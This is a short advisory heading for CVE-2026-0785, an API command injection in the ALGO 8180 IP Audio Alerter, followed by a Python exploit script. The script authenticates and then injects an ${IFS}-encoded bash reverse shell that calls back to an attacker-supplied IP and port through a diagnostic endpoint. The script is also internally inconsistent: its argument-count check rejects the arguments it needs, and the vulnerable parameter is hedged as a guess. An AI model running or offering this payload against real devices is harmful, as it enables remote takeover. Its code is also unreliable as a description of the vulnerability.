CVE-2026-0785: ALGO 8180 IP Audio Alerter API命令注入远程代码执行漏洞

import requests import sys # CVE-2026-0785 PoC - ALGO 8180 IP Audio Alerter Command Injection # Target: ALGO 8180 IP Audio Alerter device # Authentication required (low privilege user) def exploit(target_ip, username, password, attacker_ip, attacker_port): """ Exploit CVE-2026-0785: API Command Injection in ALGO 8180 """ base_url = f"http://{target_ip}" # Step 1: Authentication session = requests.Session() login_data = { 'username': username, 'password': password } try: # Attempt login login_resp = session.post(f"{base_url}/api/login", data=login_data, timeout=10) if login_resp.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated") # Step 2: Command Injection via API # Malicious payload to trigger reverse shell reverse_shell = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_payload = reverse_shell.replace(' ', '${IFS}') # API endpoint for device configuration inject_data = { 'cmd': f';{encoded_payload}', 'action': 'ping' # or other vulnerable parameter } api_resp = session.post(f"{base_url}/api/system/diagnostic", data=inject_data, timeout=10) if api_resp.status_code == 200: print(f"[+] Command injection payload sent") print(f"[*] Check listener on {attacker_ip}:{attacker_port}") return True else: print(f"[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] attacker_ip = sys.argv[4] attacker_port = sys.argv[5] exploit(target_ip, username, password, attacker_ip, attacker_port)